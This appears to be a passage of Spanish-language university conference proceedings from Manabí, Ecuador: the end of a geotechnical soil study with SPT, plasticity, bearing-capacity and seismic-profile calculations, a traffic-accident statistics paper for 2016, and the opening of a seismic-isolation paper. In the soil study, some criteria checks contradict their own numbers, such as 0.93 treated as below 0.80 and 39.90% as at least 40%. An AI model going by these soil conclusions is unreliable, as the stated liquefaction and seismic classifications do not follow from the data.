1	L1	18,35	34,11	27,97	6,14	10	63,83	57,38
2	L2	17,97	34,59	28,40	6,19	19	59,35	
3	L3	21,10	39,15	32,61	6,54	27	56,82	

Elaborado: Aracely Vivar

$$\text{contenido de agua} = \frac{\text{peso del agua}}{\text{peso del suelo secado en el horno}} \times 100$$

$$\text{contenido de agua} = \frac{34,11 - 27,97}{27,97 - 18,35} \times 100 = 63,83 \%$$

Figura 1 determinación límite líquido sondeo 5 muestra 5

Ensayo cuchara Casa Grande

Tabla 6 Datos límite plástico sondeo 5 muestra 5

PUNTO	CAPSULA (Nº)	PESO DE CAPSULA (grf)	PESO DE CAPSULA + SUELO HUM. (grf)	PESO DE CAPSULA+ SUELO SEC. (grf)	PESO DE AGUA (grf)	NUMERO DE GOLPES (Nº)	CONTENIDO DE AGUA (%)	HUMEDAD PROMEDIO (%)
LIMITE PLASTICO								
1	P1	7,22	7,63	7,55	0,08	-	24,24	25,19
2	P2	7,08	8,11	7,90	0,21	-	25,61	
3	P3	7,27	8,15	7,97	0,18	-	25,71	

Elaborado: Aracely Vivar

$$\text{limite plástico} = \frac{\text{peso del agua}}{\text{peso del suelo secado en el horno}} \times 100$$

$$\text{limite plástico} = \frac{7,63 - 7,55}{7,55 - 7,22} \times 100 = 24, 24 \%$$

Datos de índice de plasticidad

$$IP = Ll - LP$$

$$IP = 57,38 - 25,19 = 32,19 \%$$

Tabla 7 Datos granulometría sondeo 5 muestra 5

TAMIZ	ABERTURA (mm)	PESO RET. PARCIAL (grf)	PESO RET. ACUM. (grf)	% RETENIDO ACUM. (%)	% Q'PASA (%)
4"	100,000	0,00	0,00	0	100
3"	76,200	0,00	0,00	0	100
2"	50,800	0,00	0,00	0	100
1 1/2 "	38,100	0,00	0,00	0	100
1"	25,400	0,00	0,00	0	100
3/4 "	19,000	0,00	0,00	0	100
3/8 "	9,500	0,00	0,00	0	100
Nº 4	4,750	5,85	5,85	2	98
Nº 10	2,000	10,35	16,20	6	94
Nº 40	0,425	39,00	55,20	21	79
Nº 200	0,075	57,39	112,59	43	57

Elaborado: Aracely Vivar

Figura 2 Curva granulométrica sondeo 5 muestra 5

Figura 3 Carta de Plasticidad sondeo 5 muestra 5

(INEN, 1982)

El tipo de suelo es CH: Arcilla inorgánicas de plasticidad elevada.

Modelos matemáticos - propiedades mecánicas del suelo

Capacidad portante

Se utilizó la ecuación propuesta por Bowles (1977); para $B \leq 1,22$ m

$$q_{(adm)} \left(\frac{KN}{m^2} \right) = 19,16 N_{cor} F_d \left(\frac{Se}{25,4} \right)$$

Donde:

$$fd = 1 + 0,33 \frac{Df}{B} \leq 1,33$$

Se = asentamiento máximo permisible

Tabla 8 Asentamientos máximos totales permisibles

Edificios comerciales	2.5 cm
Edificios industriales	3.5 cm
Almacenes	5.0 cm
Cimentación de máquinas	0.05 cm

(Villalaz, 2015)

Numero de golpes corregido sondeo 5 muestra 5

Tabla 9 Datos de número de golpes corregido sondeo 5 muestra 5

Simbología	Descripción	Datos	
N_{CAMPO}	Numero de golpes	13	
C_n	Factor de confinamiento	Sin confinamiento	
η ₁	Factor de energía 60% ((EE.UU – 60)	60/60	1
η ₂	Factor de corrección por longitud de la varilla 0-4= 0,75 ; 4-6=0,85	0,75	0,85
η ₃	Factor de corrección de revestimiento- sin revestimiento	1	
η ₄	Factor de corrección por diámetro de la perforación; 60-120mm	Diámetro 10cm = 1	

$$N_{COR} = C_N * N_{CAMPO} * \eta_1 * \eta_2 * \eta_3 * \eta_4$$

$$N_{COR} = 13 * 1 * 0,85 * 1 * 1$$

$$N_{COR} = 11,05$$

Capacidad de carga sondeo 5 muestra5

Formula de Bowles para $B \leq 1,22$ m

$$q_{(adm)} \left(\frac{KN}{m^2} \right) = 19,16 * 11,05 * 1,33 \left(\frac{25}{25,4} \right)$$

$$q_{(adm)} 277,15 \frac{KN}{m^2} = 27,72 \frac{Tn}{m^2} = 2,77 \frac{kg}{cm^2}$$

Licuefacción del suelo

Evaluación para susceptibilidad a la licuefacción del suelo, método de Bray y Sancio (2006)

Tabla 10 Datos licuefacción del suelo sondeo 5 muestra 5

Humedad natural	53,35 %
Límite líquido LL	57,38 %
Límite plástico LP	25,19 %
Índice de plasticidad IP	32,19 %

Elaborado: Aracely Vivar

Relación entre la humedad natural y el límite líquido (W_o/LL) sondeo 5 muestra 5

$$\frac{53,35}{57,38} = 0,93$$

Figura 4 Criterio de susceptibilidad sondeo 5 muestra 5 - Bray y Sancio (2006)

El índice de plasticidad es mayor que 18% y la relación entre la humedad natural y el límite líquido es menor a 0.80, el suelo es considerado no susceptible a la licuefacción.

Resistencia al corte no drenado (S_u)

Para el cálculo de S_u se realizó mediante la ecuación propuesta por Terzaghi y Peck (1948).

$$\frac{S_u}{P_a} = 0,06 N$$

Tabla 11 Datos resistencia al corte no drenado sondeo 5 muestra 5

N corregido	11,05
Presión Atmosférica	98,039 KPa

Elaborado: Aracely Vivar

$$Su = N_{corr} * 0,06 * 98,039 \text{ KPa}$$

$$Su = 11,05 * 0,06 * 98,039 \text{ KPa}$$

$$Su = 65 \text{ KPa}$$

Velocidad de las ondas de corte

Tabla 12 Correlaciones empíricas utilizadas en este estudio para estimar Vs en función de Ngolpe del SPT.

Investigadores	Ecuación	Observaciones
Ohta y Goto (1978)	$V_s = 85.34 N^{0.348}$	Para todo tipo de suelo
Japan Road Association (2002)	$V_s = 80 N^{1/3}$	Arena
	$V_s = 100 N^{1/3}$	Arcilla

Para estimar las velocidades de onda de corte se realizó para cada uno de las perforaciones en los sitios de estudios, para valores de Ngolpe corregido.

Vs sondeo 5 muestra 5

Ohta y Goto (1978)

$$V_s = 85.34 (N)^{0.348}$$

$$V_s = 85.34 (11.05)^{0.348}$$

$$V_s = 196,89 \text{ m/s}$$

Japan Road Association (2002)

$$V_s = 100 (N)^{1/3}$$

$$V_s = 100 (11,05)^{0,33}$$

$$V_s = 220,95 \text{ m/s}$$

$$V_s = \frac{196,89 + 220,95}{2}$$

$$V_s = 208,92 \text{ m/s}$$

Clasificación del tipo suelo

Tabla 13 tipo de suelo de acuerdo al perfil de diseño sísmico

E	Perfil que contiene un espesor total H mayor de 3 m de arcillas Blandas	$IP > 20$ $w \geq 40\%$ $Su < 50 \text{ KPa}$
D	Perfiles de suelos rígidos que cumplan con el criterio de velocidad de la onda de cortante, o	$360 \text{ m/s} > Vs \geq 180 \text{ m/s}$
	Perfiles de suelos rígidos que cumplan cualquiera de las dos Condiciones	$50 > N \geq 15.0$ $100 \text{ KPa} > Su \geq 50 \text{ KPa}$

(NEC, 2015)

Su = Resistencia al corte no drenado

IP= Índice de plasticidad

w= contenido de agua en porcentaje

Vs= Velocidad de ondas de corte

Tabla 14 Clasificación el tipo de suelo sondeo 5

Profundidad (m)			Resistencia al corte no drenado (Su) (KPa)	Índice de plasticidad (IP) (%)	Humedad natural (HN) (%)	Perfil de diseño sísmico NEC
			Sondeo 5			Tipo E
0,5	-	0,95	35,29	31,92	26,90	
1,5	-	1,95	39,71	57,97	32,90	
2,5	-	2,95	22,06	54,66	37,07	
3,5	-	3,95	52,94	34,37	36,36	
4,5	-	4,95	65,00	32,19	53,35	
5,5	-	5,95	60,00	26,74	49,54	
Total			275,00	237,86	235,36	
Promedio			45,83	39,64	39,90	
			Si cumple	Si cumple	Si cumple	

E	Perfil que contiene un espesor total H mayor de 3 m de arcillas blandas	IP > 20 %	39,64 % > 20 %
		w ≥ 40%	39,90 % ≥ 40%
		Su < 50 Kpa	45,83 Kpa < 50 Kpa

Elaborado: Aracely Vivar

RESULTADOS Y DISCUSIÓN

Tabla 15 Resumen sondeo 1-2

PROFUNDIDAD	COTA DE PERFORACIÓN	DESCRIPCIÓN DEL SUELO (SUCS)	NF.	SPT	GRANULOMETRÍA			CONSISTENCIA				PARAMETROS OBTENIDOS				
				N corr. SPT	% Q PASA T. 200	% Q PASA T. 40	% Q PASA T. 10	HN	LL	LP	IP	LICUEFAC DEL SUELO	CARGA ADM. NATURAL (Tn/m2)	VELOCIDAD DE ONDA DE CORTE (m/s)	S _u (KPa)	PERFIL DISEÑO SISMICO NEC
-0,50 - -0,95	-0,50	Arcilla alta plasticidad con arena CH	NF	6,00	84,59	94,03	96,13	25,32	63,18	22,16	41,02	NO SUSCEPTIBLE	15,05	169,91	35,29	SUELO TIPO D
-1,50 - -1,95	-1,50	Arcilla alta plasticidad CH		7,50	92,37	99,57	99,96	26,78	75,48	33,27	42,21	NO SUSCEPTIBLE	18,81	183,24	44,12	
-2,50 - -2,95	-2,50	Arcilla alta plasticidad CH		9,75	92,01	98,71	99,08	32,23	71,37	28,70	42,67	NO SUSCEPTIBLE	24,45	200,26	57,35	
-3,50 - -3,95	-3,50	Arcilla alta plasticidad CH		8,25	85,63	96,74	99,16	33,18	62,89	30,57	32,32	NO SUSCEPTIBLE	20,69	189,25	48,53	
-4,50 - -4,95	-4,50	Arcilla alta plasticidad con arena CH		8,50	80,32	92,26	98,89	34,37	70,21	30,87	39,34	NO SUSCEPTIBLE	21,32	191,17	50,00	
-5,50 - -5,95	-5,50	Arcilla alta plasticidad con arena CH		15,30	84,29	93,98	98,90	33,74	75,73	32,64	43,09	NO SUSCEPTIBLE	38,37	233,25	90,00	
-0,50 - -0,95	-0,50	Arcilla alta plasticidad CH	NF	5,25	85,88	92,55	97,64	22,85	76,48	33,68	42,80	NO SUSCEPTIBLE	13,17	162,40	30,88	SUELO TIPO D
-1,50 - -1,95	-1,50	Limo alta plasticidad MH		6,00	90,99	95,94	99,02	24,20	73,04	36,86	36,18	NO SUSCEPTIBLE	15,05	169,91	35,29	
-2,50 - -2,95	-2,50	Limo alta plasticidad MH		7,50	85,19	93,95	97,96	24,36	66,75	34,24	32,51	NO SUSCEPTIBLE	18,81	183,24	44,12	
-3,50 - -3,95	-3,50	Arcilla alta plasticidad CH		6,75	92,87	99,40	99,97	32,12	74,93	33,38	41,55	NO SUSCEPTIBLE	16,93	172,27	39,71	
-4,50 - -4,95	-4,50	Limo alta plasticidad MH		15,30	96,46	99,75	99,97	27,32	86,85	46,09	40,76	NO SUSCEPTIBLE	38,37	233,25	90,00	
-5,50 - -5,95	-5,50	Limo alta plasticidad MH		13,60	93,33	99,24	99,95	28,87	82,36	37,17	45,19	NO SUSCEPTIBLE	34,11	223,01	80,00	

Tabla 16 Resumen sondeo 3 -4

PROFUNDIDAD	COTA INIC DE PERFORACION	DESCRIPCIÓN DEL SUELO (SUCS)	NF.	SPT	GRANULOMETRÍA			CONSISTENCIA				PARAMETROS OBTENIDOS				
				N corr. SPT	% Q PASA T. 200	% Q PASA T. 40	% Q PASA T. 10	HN	LL	LP	IP	LIQUEFAC DEL SUELO	CARGA ADM. NATURAL (Tn/m²)	VELOCIDAD DE ONDA DE CORTE (m/s)	S _u (KPa)	PERFIL DISEÑO SISMICO NEC
-0,50 - -0,95	-0,50	Arcilla alta plasticidad CH	NF	6,75	88,37	98,80	99,36	20,90	64,51	26,85	37,66	NO SUSCEPTIBLE	16,93	176,82	39,71	SUELO TIPO D
-1,50 - -1,95	-1,50	Arcilla alta plasticidad CH		9,00	95,35	97,95	99,75	23,87	71,51	29,24	42,27	NO SUSCEPTIBLE	22,57	194,90	52,94	
-2,50 - -2,95	-2,50	Limo alta plasticidad MH		9,00	89,40	96,73	99,15	27,86	73,30	40,43	32,87	NO SUSCEPTIBLE	22,57	194,90	52,94	
-3,50 - -3,95	-3,50	Arcilla alta plasticidad CH		9,75	86,22	92,91	99,77	32,47	82,98	29,14	53,84	NO SUSCEPTIBLE	24,45	200,26	57,35	
-4,50 - -4,95	-4,50	Arcilla alta plasticidad CH		12,75	92,00	99,22	99,92	27,90	85,16	34,37	50,79	NO SUSCEPTIBLE	31,98	219,29	75,00	
-5,50 - -5,95	-5,50	Arcilla alta plasticidad CH		10,20	92,22	99,02	99,67	28,79	82,04	36,09	45,95	NO SUSCEPTIBLE	25,58	203,34	60,00	
-0,50 - -0,95	-0,50	Arcilla alta plasticidad arenosa CH	NF	6,00	52,67	68,13	75,83	33,02	65,46	16,63	48,83	NO SUSCEPTIBLE	15,05	169,91	35,29	SUELO TIPO D
-1,50 - -1,95	-1,50	Arcilla alta plasticidad CH		5,25	89,07	99,07	99,79	32,32	68,87	21,50	47,37	NO SUSCEPTIBLE	13,17	162,40	30,88	
-2,50 - -2,95	-2,50	Arcilla alta plasticidad CH		5,25	88,81	94,97	96,76	33,47	73,75	21,69	52,06	NO SUSCEPTIBLE	13,17	162,40	30,88	
-3,50 - -3,95	-3,50	Arcilla alta plasticidad CH		13,50	86,16	96,89	99,06	25,07	67,65	21,59	46,06	NO SUSCEPTIBLE	33,86	223,58	79,41	
-4,50 - -4,95	-4,50	Arcilla alta plasticidad con arena CH		11,05	70,71	76,58	83,75	29,49	71,76	32,97	38,79	NO SUSCEPTIBLE	27,72	208,92	65,00	
-5,50 - -5,95	-5,50	Arcilla alta plasticidad con arena CH		12,75	81,55	92,03	95,38	31,22	68,31	32,74	35,57	NO SUSCEPTIBLE	31,98	219,29	75,00	

Tabla 17 Resumen sondeo 5-6

PROFUNDIDAD	COTA INIC DE PERFORACION	DESCRIPCIÓN DEL SUELO (SUCS)	NF.	SPT	GRANULOMETRÍA			CONSISTENCIA				PARAMETROS OBTENIDOS				
				N corr. SPT	% Q PASA T. 200	% Q PASA T. 40	% Q PASA T. 10	HN	LL	LP	IP	LIQUEFAC DEL SUELO	CARGA ADM. NATURAL (Tn/m2)	VELOCIDAD DE ONDA DE CORTE (m/s)	S _u (KPa)	PERFIL DISEÑO SISMICO NEC
-0,50 - -0,95	-0,50	Limo alta plasticidad MH	NF	6,00	87,81	99,09	99,92	26,90	65,21	33,29	31,92	NO SUSCEPTIBLE	15,05	169,91	35,29	SUELO TIPO E
-1,50 - -1,95	-1,50	Arcilla alta plasticidad arenosa CH		6,75	67,64	91,35	98,11	32,14	86,47	28,50	57,97	NO SUSCEPTIBLE	16,93	176,82	39,71	
-2,50 - -2,95	-2,50	Arcilla alta plasticidad arenosa CH		3,75	52,31	84,22	94,80	37,07	82,32	27,66	54,66	NO SUSCEPTIBLE	9,41	129,46	22,06	
-3,50 - -3,95	-3,50	Arena arcillosa SC		9,00	43,18	61,38	70,76	36,36	62,15	27,78	34,37	NO SUSCEPTIBLE	22,57	194,90	52,94	
-4,50 - -4,95	-4,50	Arcilla alta plasticidad arenosa CH		11,05	56,84	78,84	93,79	53,35	57,38	25,19	32,19	NO SUSCEPTIBLE	27,72	208,92	65,00	
-5,50 - -5,95	-5,50	Arcilla alta plasticidad con arena CH		10,20	77,21	96,40	98,02	49,54	55,22	28,48	26,74	NO SUSCEPTIBLE	25,58	203,34	60,00	
-0,50 - -0,95	-0,50	Arcilla alta plasticidad arenosa CH	NF	6,00	63,49	85,52	90,71	21,74	54,72	27,44	27,28	NO SUSCEPTIBLE	15,05	169,91	35,29	SUELO TIPO E
-1,50 - -1,95	-1,50	Arcilla media plasticidad arenosa CL		3,75	53,11	89,98	96,75	19,62	49,43	25,30	24,13	NO SUSCEPTIBLE	9,41	144,92	22,06	
-2,50 - -2,95	-2,50	Arena arcillosa SC		6,00	44,96	58,40	73,66	28,32	65,74	25,70	40,04	NO SUSCEPTIBLE	15,05	169,91	35,29	
-3,50 - -3,95	-3,50	Arcilla alta plasticidad arenosa CH		2,25	68,20	90,80	94,46	41,45	60,03	22,81	37,22	NO SUSCEPTIBLE	5,64	121,92	13,24	
-4,50 - -4,95	-4,50	Arcilla alta plasticidad arenosa CH		4,25	67,81	90,44	96,80	36,07	59,85	25,97	33,88	NO SUSCEPTIBLE	10,66	151,20	25,00	
-5,50 - -5,95	-5,50	Limo alta plasticidad con arena MH		6,80	70,34	89,45	97,08	28,87	82,54	39,58	42,96	NO SUSCEPTIBLE	17,06	177,26	40,00	

CONCLUSIONES

Se determinó que el método más apropiado para la caracterización físico-mecánica del suelo es el Ensayo de Penetración Estándar según la Norma Ecuatoriana de la Construcción y Norma de la Sociedad Americana para pruebas y Materiales.

Realizada la investigación se pudo determinar que los suelos de la ciudadela Eloy Alfaro son aptos para la construcción de edificaciones de hasta tres niveles ya que tiene una capacidad de carga aceptable y por sus características físico-mecánicas no están dentro de los suelos considerados de alto riesgo sísmico.

RECOMENDACIONES

En el caso que se requiera construir edificaciones de más de tres niveles es necesario que se realicen estudios a mayor profundidad como lo indica la normativa.

Para establecer la compatibilidad de deformaciones entre estructura y suelo es preciso partir de un estudio específico del sitio donde se implantará la misma y las solicitaciones que demande la estructura de acuerdo a las cargas impuestas.

Realizar las respectivas evaluaciones de otros factores de riesgos como deslizamientos y erosión de taludes, inundaciones.

REFERENCIAS BIBLIOGRÁFICAS

ASTM D1586. (2011). Asociación Americana de Ensayo de Materiales. West Conshohocken: ASTM International. Recuperado el 04 de ENERO de 2017, de http://www.cicpec.com/documentos/NEC_2015/NEC_SE_GC_Geotecnia_y_Cimentaciones.pdf

Briones Alva, M. E. (2015). Zonificación mediante el sistema unificado de clasificación de suelos (SUCS) y la capacidad portante del suelo, para viviendas unifamiliares en la expansión urbana del anexo Lucmacucho Alto-Sector Lu. Recuperado el 2 de JUNIO de 2017, de <http://hdl.handle.net/11537/6679>

INEN 0689. (1982). Ensayo de penetración estándar. Quito. Recuperado el 20 de enero de 2017, de <https://law.resource.org/pub/ec/ibr/ec.nte.0689.1982.pdf>

INEN, N. (1982). Mecánica de suelo. Determinación del límite plástico. Obtenido de <https://es.scribd.com/document/338225783/NTE692-LIMITE-PLASTICOpdf>

NEC. (2015). Guía práctica para la ejecución de estudios geotécnicos y trabajos de cimentación de conformidad con la Norma Ecuatoriana de la Construcción. Obtenido de <http://www.habitatyvivienda.gob.ec/wpcontent/uploads/downloads/2016/10/GUIA-6-GEOTECNICA.pdf>

LOS ACCIDENTES DEL TRÁNSITO EN ECUADOR ASOCIADOS AL FACTOR HUMANO, EDUCACION VIAL, VEHÍCULO Y LA VÍA.

Ing. Carlos José Zavala Vásquez, Mg. Sc.

Srta. Ginger Johanna León Tutiven

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

carlosjzavaz@hotmail.com

gleontutiven@gmail.com

RESUMEN

Las estadísticas de los accidentes del tránsito en Ecuador reportan el acontecimiento y sus consecuencias según como califique el especialista encargado la causa principal que lo motiva; pero en la mayoría de los casos no es una sola.

En cuestiones del Plan de Medidas, Plan o Programas de Seguridad Vial se necesita atender objetivos globales y no causas individuales específicas. Ecuador ocupa en el mundo uno de los primeros lugares en la cifra anual de accidentes del tránsito y en América Latina se reporta en los alrededores del cuarto lugar.

En este trabajo se da a conocer el resultado de fallecidos por accidente del tránsito asociados a causas globales: el factor humano, educación vial, vehículo y vía en el país. Durante el periodo enero a mayo de 2016 y pone de manifiesto la importancia y necesidad en los trabajos para atender y fortalecer la seguridad vial.

Palabras claves: Accidentes, índices, Educación Vial, Seguridad Vial.

SUMMARY

The statistics of the traffic accidents in Ecuador report the event and its consequences according to how the specialist in charge qualifies the main cause that motivates it; but in most cases it is not alone. In matters of the Plan of Measures, Plan or Programs of Road Safety, it is necessary to address global objectives and not specific individual causes. Ecuador occupies in the world one of the first places in the annual number of traffic accidents and in Latin America is reported in the vicinity of the fourth place. In this work, the result of deaths due to traffic accidents associated with global causes is revealed: the human factor, road, vehicle and road education in the country. During the period January to May 2016 and highlights the importance and need in the work to address and strengthen road safety.

Key words: Accidents, indexes, Road Safety Education, Road Safety.

INTRODUCCIÓN

Son muchos factores que influyen en la seguridad y la comodidad de los automóviles que circulan por un tramo de carretera. Por lo general en los países las normas de diseño que se aplican debidas a perfeccionamientos y ajustes, tomando como punto de referencia aquellas de países más avanzados, sin descuidar que no se debe implantar estas por decreto en un momento determinado sin tener presente el desarrollo técnico y los recursos económicos que el país puede invertir para conciliar las necesidades con los recursos que se puedan utilizar.

Los proyectistas de las carreteras cuentan con documentos técnicos y el mejor deseo para aplicar en el proyecto las normativas de diseño geométrico más actualizadas y acabadas, que tengan en cuenta el trazado en planta, perfil y el tipo de la sección transversal, incluyendo ancho de carriles y espaldón, de manera tal que se satisfagan para los diferentes grupos de usuarios las expectativas de seguridad, comodidad y funcionabilidad de la vía.

Método: basado en la observación, análisis y síntesis.

Recursos metodológicos: Aplicación de técnicas estadísticas y procesamiento de datos.

MATERIALES Y MÉTODOS

LA PROBLEMÁTICA DE LA SEGURIDAD DEL TRÁNSITO Y LA OBRA VIAL

Son muchos los efectos y factores aislados o combinados a lo largo de un trazado vial que pueden ser ejemplificados y agrupados, tales como:

- a. Diversidad de usuarios que utilizan la vía.
- b. Diversidad de diferentes tipos de vehículos en la vía.
- c. Carga de trabajo durante el recorrido según el trazado vial, tiempo de viaje, tipos de intersecciones, características de las corrientes vehiculares, estado de pavimento, estado del tiempo, falta o deficiente señalización vial, falta o excesivo o control de agentes policiales, etc.
- d. Complejidad en el comportamiento de los automovilistas: tipo de viaje, gustos, experiencia, edad, horas del día, etc.
- e. Otros asociados a la propia vía, e tránsito y agentes climáticos.

Importante es destacar que: “No se debe descuidar la presencia de uno o más factores cuando ocurre un accidente del tránsito”

Son variados y actuando en conjunto los factores que influyen en la seguridad, la comodidad y la fluidez de los automovilistas que circulan por un tramo de la vía.

En la actualidad son muchos los tramos de vías en la Red de la Provincia de Manabí y Ecuador que no cuentan con adecuadas condiciones en su trazado geométrico ni con una capa de rodadura, señalización vial, y otros factores ajenos al logro de un tránsito seguro- cómodo- fluido que garantice los requisitos mínimos de la circulación vial durante todo el trazado y recorrido del automovilista.

CAUSAS PRINCIPALES DE FALLECIDOS POR ACCIDENTE DEL TRANSITO EN ECUADOR ENERO A MAYO 2016

En el año 2000, más de 1.2 millones de personas murieron en el mundo como consecuencia de accidentes del tránsito, lo que hace de esta novena causa de muerte.

Se prevé que en el año 2020 esta cifra prácticamente se haya duplicado. En muchos países de América Latina, incluido Ecuador, los accidentes del tránsito se encuentran entre las primeras causas de muerte. Ecuador ocupa en el mundo uno de los principales lugares en las cifras anual de accidentes del tránsito y en América Latina se reportan en los alrededores del cuarto lugar. A continuación, se presentan algunos ejemplos a nivel nacional en Ecuador según INEC.

ÍNDICES GLOBALES DE ACCIDENTES DEL TRÁNSITO EN ECUADOR, CONSIDERANDO EL FACTOR HUMANO, LA EDUCACIÓN VIAL, EL VEHICULO Y LA VÍA.

Por iniciativa de los autores de este trabajo, se dan a conocer por primera vez para el país, el resultado de Índices Globales de Accidentes del tránsito durante el periodo Enero-Marzo de 2016, considerando que estos índices promuevan el alcance de lograr un mejor entendimiento en la ocurrencia de estos lamentables hechos y que algunas medidas oportunas puedan ser consideradas en un futuro próximo.

A continuación, informa el valor Índice Global en % alcanzado para el periodo analizado teniendo en cuenta el reporte de accidentes de la Tabla1.

EFEECTO A TENER EN CUENTA	INDICE GLOBAL
Factor Humano	94,3%
Educación Vial	42,3%
El vehículo	15,3%
La vía	27,2%

CÓDIGO	CAUSAS PROBABLES	ENE	FEB	MAR	TOTAL A MARZO 2016	%
C14	CONducir DESATENTO A LAS CONDICIONES DE TRANSITO (PANTALLAS DE VIDEO, COMIDA, MAQUILLAJE O CUALQUIER OTRO ELEMENTO DISTRACTOR)	80	62	56	198	40,74
C09	CONducir VEHICULO SUPERANDO LOS LIMITES MAXIMOS DE VELOCIDAD	35	16	15	66	13,58
C16	NO TRANSITAR POR LAS ACERAS O ZONAS DE SEGURIDAD DESTINADAS PARA EL EFECTO	11	12	7	30	6,17
C23	NO RESPETAR LAS SEÑALES REGLAMENTARIAS DE TRANSITO (PARE, CEDA EL PASO, LUZ ROJA DEL SEMAFORO, ETC)	8	11	10	29	5,97
C11	NO MANTENER LA DISTANCIA PRUDENCIAL CON RESPECTO AL VEHICULO QUE LE ANTECEDE	9	7	9	25	5,14
C19	REALIZAR CAMBIO BRUSCO O INDEBIDO DE CARRIL	5	11	8	24	4,94
C06	CONduce BAJO LA INFLUENCIA DE ALCOHOL, SUSTANCIAS ESTUPEFACIENTES O PSICOTROPICAS Y/O MEDICAMENTOS	10	6	4	20	4,12
C26	NO CEDER EL DERECHO DE VIA O PREFERENCIA DE PASO AL PEATON	4	9	7	20	4,12
C25	NO CEDER EL DERECHO DE VIA O PREFERENCIA DE PASO A VEHICULOS	1	3	7	11	2,26
C12	NO GUARDAR LA DISTANCIA LATERAL MINIMA DE SEGURIDAD ENTRE VEHICULOS	5	2	3	10	2,06
C27	PEATON QUE CRUZA LA CALZADA SIN RESPETAR LA SEÑALIZACION EXISTENTE (SEMAFOROS O SEÑALES MANUALES)	-	5	4	9	1,85
C28	FALLA MECANICA EN LOS SISTEMAS Y/O NEUMATICOS (SISTEMA DE FRENOS, DIRECCION, ELECTRONICO O MECANICO)	3	1	2	6	1,23
C01	CASO FORTUITO O FUERZA MAYOR (EXPLOSION DE NEUMATICO NUEVO, DERRUMBE, INUNDACION, CAIDA DE PUENTE, ARBOL, PRESENCIA INTIMPESTIVA E IMPREVISTA DE SEMOVIENTES EN LA VIA, ETC)	2	2	2	6	1,23
C03	CONducir EN ESTADO DE SOMNOLENCIA O MALAS CONDICIONES FISICAS (SUEÑO, CANSANCIO Y FATIGA)	-	3	2	5	1,03
C22	ADELANTAR O REBASAR A OTRO VEHICULO EN MOVIMIENTO EN ZONAS O SITIOS PELIGROSOS TALES COMO: CURVAS, PUENTES, TUNELES, PENDIENTES, ETC)	2	2	-	4	0,82
C02	PRESENCIA DE AGENTES EXTERNOS EN LA VIA (AGUA, ACEITE, PIEDRA, LASTRE, ESCOMBROS, MADEROS, ETC)	-	-	4	4	0,82
C07	TRANSITA BAJO INFLUENCIA DE ALCOHOL, SUSTANCIAS ESTUPEFACIENTES O PSICOTROPICAS Y/O MEDICAMENTOS	-	-	3	3	0,62
C17	BAJARSE O SUBIRSE DE VEHICULOS EN MOVIMIENTO SIN TOMAR LAS PRECAUCIONES DEBIDAS	1	1	1	3	0,62
C15	DEJAR O RECOGER PASAJEROS EN LUGARES NO PERMITIDOS	1	-	2	3	0,62
C24	NO RESPETAR LAS SEÑALES MANUALES DEL AGENTE DE TRANSITO	2	-	-	2	0,41
C27	TRANSITA BAJO INFLUENCIA DE ALCOHOL, SUSTANCIAS ESTUPEFACIENTES O PSICOTROPICAS Y/O MEDICAMENTOS	2	-	-	2	0,41

FALLECIDOS POR TIPO DE VEHÍCULO EN SINIESTROS DE TRÁNSITO MARZO 2016

T

TIPO DE VEHÍCULO	FALLECIDOS
AUTOMOVIL	31
BICICLETA	7
MOTOCICLETA	42
CAMIONETA	15
JEEP	6
BUS	13
CAMIÓN	5
OTROS*	1
NO DETERMINADO	29
TOTAL	149

FALLECIDOS POR TIPO DE VEHÍCULOS MARZO 2016

FALLECIDOS EN SINIESTROS DE TRÁNSITO A NIVEL NACIONAL MARZO 2016

CONCLUSIONES

- Es posible lograr en el país índices más bajos en la ocurrencia anual de accidentes del tránsito encaminando las acciones hacia: la divulgación, atención sistemática, integración de grupos multidisciplinarios y exigencias a cumplir a partir del análisis integral de las causas que motivan los accidentes del tránsito.
- Se necesitan declarar Programas de Educación Vial y de Seguridad Vial considerando metas anuales posibles de alcanzar en cuanto la disminución de los accidentes del tránsito y el número anual de fallecidos sin descuidar los recursos humanos y materiales con que se cuenta.
- Lo que se expresa en las conclusiones 1 y 2 se ha podido llevar a cabo con éxitos en otros países que han encaminado sus esfuerzos con el fin de atender la problemática de la Educación y la Seguridad Vial.

REFERENCIAS BIBLIOGRÁFICAS

[1] Reporte Anual de Índices de Accidentes del Tránsito en Ecuador, según INEC 2016.

ANÁLISIS COMPARATIVO DE UN EDIFICIO EMPOTRADO VERSUS UN EDIFICIO CON AISLADORES SÍSMICOS PARA TODOS LOS SUELOS DEL ECUADOR

Ing. Erik Gabriel Villavicencio Cedeño MS.c

Jonathan Félix Andrade Figueroa

Tania Maricela Macias Parrales

UNIVERSIDAD ESTATAL DEL SUR DE MANAB

erik.villavicencio@unesum.edu.ec

RESUMEN

El presente trabajo muestra las ventajas del análisis y diseño del sistema de aislación basal, del dispositivo más utilizado en el mercado como es el aislador elastomérico con núcleo de plomo (LRB). Para el caso de estudio se analiza un edificio de diez niveles, constituido de hormigón armado, vigas descolgadas y losas bidireccionales, simétrico en planta y elevación; el cual consiste de un sistema resistente a carga lateral basado en pórticos.

Palabras clave: Aislamiento Sísmico. Ingeniería Estructural. Construcciones Sismoresistentes.

SUMMARY

The present work shows the advantages of the analysis and design of the basal isolation system, the most used device in the market such as the elastomeric insulation with lead core (LRB). For the case of the study, a ten-level building is analyzed, consisting of reinforced concrete, detached beams and bidirectional beams, symmetrical in plan and elevation; which consists of a system resistant to lateral loading based on gantries.

Keywords: Seismic isolation. Structural engineering. Seismoresistant constructions

INTRODUCCIÓN

La aislación sísmica se obtiene introduciendo flexibilidad en la base de la estructura en la dirección horizontal, mientras que al mismo tiempo se coloca amortiguación extra para reducir la amplitud del movimiento causado por las aceleraciones del sismo que causan tanto daño a los elementos estructurales [1]. En los últimos años la aislación sísmica ha tenido una gran aceptación en el diseño sismo resistente tanto en el reforzamiento como el diseño de estructuras ya que el concepto de aislamiento está orientado a una reducción significativa de cargas dinámicas, lo contrario al diseño convencional que está basado en un aumento de resistencia. Los aisladores sísmicos se ubican estratégicamente en partes específicas de la estructura, las

cuales, en un evento sísmico, provén a la estructura la suficiente flexibilidad para diferenciar la mayor cantidad posible del periodo natural de la estructura con el periodo natural del sismo, así evitando que se produzca resonancia lo cual podría provocar daños severos o el colapso de la estructura.

MATERIALES Y MÉTODOS

Materiales Utilizados

